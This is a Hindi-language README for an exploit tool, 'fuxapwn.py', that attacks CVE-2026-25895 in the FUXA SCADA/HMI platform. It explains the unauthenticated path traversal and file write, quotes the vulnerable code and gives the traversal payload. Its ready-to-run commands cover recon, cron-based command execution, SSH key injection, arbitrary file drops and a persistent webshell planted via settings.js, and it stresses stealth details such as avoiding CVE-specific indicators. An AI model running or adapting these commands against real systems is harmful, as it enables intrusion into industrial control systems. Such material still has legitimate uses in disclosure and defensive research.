
CVE-2026-25895 FUXA के लिए POC शोषण - अप्रमाणित पथ ट्रैवर्सल -> मनमाना फ़ाइल लेखन -> RCE
FUXA, एक Node.js-आधारित SCADA/HMI प्लेटफ़ॉर्म, के विरुद्ध अप्रमाणित, प्री-ऑथ मनमाना फ़ाइल लेखन। लिखने के बाद कई अलग-अलग प्राइमिटिव के माध्यम से दूरस्थ कोड निष्पादन की श्रृंखला। यह तब भी काम करता है जब secureEnabled = true (प्रमाणीकरण चालू) हो, क्योंकि कमजोर एंडपॉइंट पर कोई मिडलवेयर संलग्न नहीं है।
ExploitDB पर भी उपलब्ध: https://www.exploit-db.com/exploits/52568
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-25895 |
| प्रभावित | FUXA <= 1.2.9 |
| पैच किया गया | FUXA 1.2.10 |
| विक्रेता | frangoteam / FUXA |
| हमला वेक्टर | नेटवर्क (HTTP/HTTPS) |
| प्रमाणीकरण | कोई आवश्यकता नहीं |
| प्रभाव | मनमाना फ़ाइल लेखन, दूरस्थ कोड निष्पादन |
| CVSS v3.1 | 9.8 (गंभीर) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| शोधकर्ता | Anthony Cihan (Hann1bl3L3ct3r) |
FUXA का POST /api/upload एंडपॉइंट (server/api/projects/index.js:193) मिडलवेयर के बिना पंजीकृत है, जो secureFnc JWT / API-कुंजी जांच और अन्य सभी प्रोजेक्ट-प्रबंधन एंडपॉइंट पर लागू व्यवस्थापक अनुमति गेट दोनों को बायपास करता है। हैंडलर के अंदर, JSON बॉडी फ़ील्ड destination को फ़ाइलसिस्टम पथ में केवल एक अग्रणी अंडरस्कोर और बिना किसी सामान्यीकरण या संयम जांच के संयोजित किया जाता है:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
a/../../../../../etc (जहाँ a अग्रणी अंडरस्कोर उपसर्ग को अवशोषित करता है) फॉर्म का destination मान Node के path.resolve को appDir से बाहर किसी भी स्थान पर चढ़ने देता है जहाँ FUXA प्रक्रिया लिख सकती है। चूँकि fs.writeFileSync से पहले एक सशर्त fs.mkdirSync(dir, { recursive: true }) होता है, हमलावर आवश्यकतानुसार मूल निर्देशिकाएँ भी बना सकता है।
परिणाम एक अप्रमाणित मनमाना फ़ाइल लिखने का प्राइमिटिव है जो डिफ़ॉल्ट HTTP पोर्ट (1881) पर पहुँचा जा सकता है, प्री-ऑथ शोषण योग्य है चाहे FUXA व्यवस्थापक ने लॉगिन सक्षम किया हो या नहीं।
एक अप्रमाणित दूरस्थ हमलावर यह कर सकता है:
settings.js को बदलकर अगले FUXA पुनरारंभ पर कोड निष्पादन प्राप्त कर सकता है/etc/cron.d/<file>) डालकर 60 सेकंड के भीतर कोड निष्पादन कर सकता है जब FUXA root (विक्रेता की Docker इमेज में डिफ़ॉल्ट) के रूप में चलता है/root/.ssh/authorized_keys या किसी भी उपयोगकर्ता के ~/.ssh/authorized_keys में SSH सार्वजनिक कुंजियाँ डाल सकता हैयह औद्योगिक प्रक्रियाओं को संचालित करने के लिए उपयोग किए जाने वाले ICS/SCADA प्लेटफ़ॉर्म पर एक प्री-ऑथ गंभीरता खोज है।
| संस्करण | स्थिति |
|---|---|
<= 1.2.9 | असुरक्षित |
1.2.10+ | पैच किया गया |
Ubuntu Server पर FUXA 1.2.9 की स्वच्छ स्थापना के विरुद्ध शोषण की पुष्टि की गई।
एकल-फ़ाइल Python 3 स्क्रिप्ट, एक तृतीय-पक्ष निर्भरता (requests)।
pip install requests
python3 fuxapwn.py --help
होस्ट पर किसी भी असामान्य चीज़ को लिखे बिना चल रहे OS उपयोगकर्ता, Node-RED एक्सपोज़र और किसी भी अन्य खाते की पहचान करें:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
एक तटस्थ /tmp/healthcheck मार्कर लिखें (फ़ाइलनाम या सामग्री में कोई CVE-विशिष्ट IOC नहीं):
python3 fuxapwn.py -u http://target:1881 --mode canary
यदि FUXA root के रूप में चलता है, तो एक क्रॉन फ़ाइल डालें जो बिना किसी FUXA पुनरारंभ की आवश्यकता के 60 सेकंड के भीतर फायर होती है:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.js प्रतिस्थापन के माध्यम से स्थायी वेबशेलFUXA Node प्रक्रिया के अंदर एक HTTP वेबशेल श्रोता स्थापित करें (अगले कोल्ड स्टार्ट पर सक्रिय होता है, क्योंकि require() मॉड्यूल को कैश करता है), फिर FUXA के पुनरारंभ होने पर एक इंटरैक्टिव REPL में प्रवेश करें:
# पेलोड को स्टेज करें — settings.js को बदलता है लेकिन लक्ष्य के वास्तविक कॉन्फ़िगरेशन (uiPort, allowedOrigins, secureEnabled, आदि) को संरक्षित करता है ताकि एप्लिकेशन सामान्य रूप से सेवा देता रहे।
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# एक बार FUXA पुनरारंभ होने पर, स्थापित वेबशेल से कनेक्ट करें।
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
| मोड | उद्देश्य |
|---|---|
recon | GET /api/settings के माध्यम से अप्रमाणित जानकारी लीक; पूर्ण पथों से चल रहे OS उपयोगकर्ता का अनुमान; Node-RED स्थिति की रिपोर्ट; वैकल्पिक --probe-root और --probe-home सक्रिय जांच |
canary | तटस्थ डिफ़ॉल्ट पथ के साथ फ़ाइल-लिखने के प्राइमिटिव का प्रमाण |
settings-rce | settings.js को एक पेलोड से बदलता है जो अगले FUXA कोल्ड स्टार्ट पर एक कॉन्फ़िगर करने योग्य कमांड चलाता है |
ssh-key | लक्ष्य उपयोगकर्ता के authorized_keys में एक सार्वजनिक कुंजी लिखता है |
drop | किसी भी पूर्ण पथ पर मनमाना फ़ाइल ड्रॉप |
cron | /etc/cron.d/<name> को RCE के लिए 60 सेकंड के भीतर डालता है बिना FUXA पुनरारंभ की प्रतीक्षा किए (FUXA को root के रूप में चलाने की आवश्यकता है) |
webshell | settings.js प्रतिस्थापन के माध्यम से FUXA Node प्रक्रिया के अंदर एक HTTP वेबशेल श्रोता स्थापित करता है (अगले कोल्ड स्टार्ट पर सक्रिय होता है) |
webshell-exec | पहले से स्थापित वेबशेल के लिए क्लाइंट; एकल कमांड या --interact REPL |
पूर्ण प्रति-मोड ध्वज संदर्भ: python3 fuxapwn.py --help.
GET /api/settings (server/api/index.js:103) मिडलवेयर के बिना पंजीकृत है और हल्के रेडैक्टेड लाइव रनटाइम कॉन्फ़िगरेशन लौटाता है (सर्वर भेजने से पहले secretCode और smtp.password हटा देता है)। शेष फ़ील्ड पूर्ण पथ (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) लीक करते हैं जो आमतौर पर सेवा उपयोगकर्ता की पहचान करते हैं, साथ ही nodeRedEnabled, जो एक द्वितीयक अप्रमाणित RCE पथ (नीचे देखें) के लिए एक सीधा संकेत है।
जब FUXA को स्थानीय उपयोगकर्ता खाते के तहत npm start के माध्यम से लॉन्च किया जाता है और इंस्टॉल पथ उपयोगकर्ता को एनकोड नहीं करते (जैसे इंस्टॉल /opt, /tmp, या सामान्य /app के अंतर्गत रहता है), और /root/ लिखने योग्य नहीं है, तो POC शून्य-बाइट लेखन के साथ /home/<candidate>/ को पुनरावृत्त करता है।
FUXA अपलोड हैंडलर fs.writeFileSync से पहले fs.mkdirSync(parent, { recursive: true }) को सशर्त रूप से कॉल करता है, जो EACCES अस्पष्टता पैदा करता है: एक गैर-मौजूद /home/<user>/ mkdir प्रयास पर EACCES के साथ विफल होता है (प्रक्रिया रूट-स्वामित्व वाले /home/ के अंतर्गत निर्देशिकाएँ नहीं बना सकती), जबकि मोड 0700 के साथ मौजूदा /home/<other>/ स्वयं लेखन पर EACCES विफल होता है। एक ही errno, अलग अर्थ। POC सर्वर-फ़ॉरवर्ड किए गए err.message (libuv प्रारूप "<CODE>: <reason>, <syscall> '<path>'") से syscall टोकन पार्स करके और केवल mkdir syscall के अलावा किसी भी syscall पर EACCES को "अन्य उपयोगकर्ता मौजूद" के रूप में रिपोर्ट करके अंतर करता है। यह गलत-सकारात्मक पार्श्व-गति सूची को समाप्त करता है जो एक भोली errno-केवल जांच उत्पन्न करेगी।